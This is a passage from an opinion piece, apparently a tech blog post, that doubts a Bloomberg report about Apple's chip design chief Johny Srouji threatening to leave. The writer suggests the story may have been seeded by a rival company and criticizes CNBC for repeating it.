To believe that report, you need to believe not only that Srouji is unhappy while seeing his life’s work flourish, leading what is inarguably one of the most successful silicon design divisions in the history of computing, and but also that at age 62, he would consider leaving Apple not to retire but to head up chip design at another company — any of which possible destinations being a company that is years behind Apple in chip design. And you have to believe that it’s a successful tactic for senior executives at Apple to get what they want from Tim Cook by threatening him with poaching offers from competing companies. And that Johny Srouji would either personally leak this to Mark Gurman, or loose-lippedly blab about it to someone who would leak it to Mark Gurman. And that Gurman reporting the already-very-difficult-to-believe story at Bloomberg, making private negotiations public and embarrassing both Cook personally and Apple as a company, would lead Tim Cook to cave in and do whatever it took to make Srouji happy enough to stay at Apple and write that memo refuting the report.

That does not sound like Tim Cook.

Is that report, and all that it implies, possible? Sure. It’s also possible that monkeys might fly out of my butt. It’s also possible that the Srouji story was bogus, seeded by a company that had just poached an Apple executive, and had successfully spun that story in their favor to such an extent that Bloomberg called it a “major coup” in its headline, and their intention with the bogus Srouji story was to put the narrative out there to seed doubt about Apple as a company and Cook’s leadership, personally.

Mission accomplished, at least with the gullible reporters and editors at CNBC.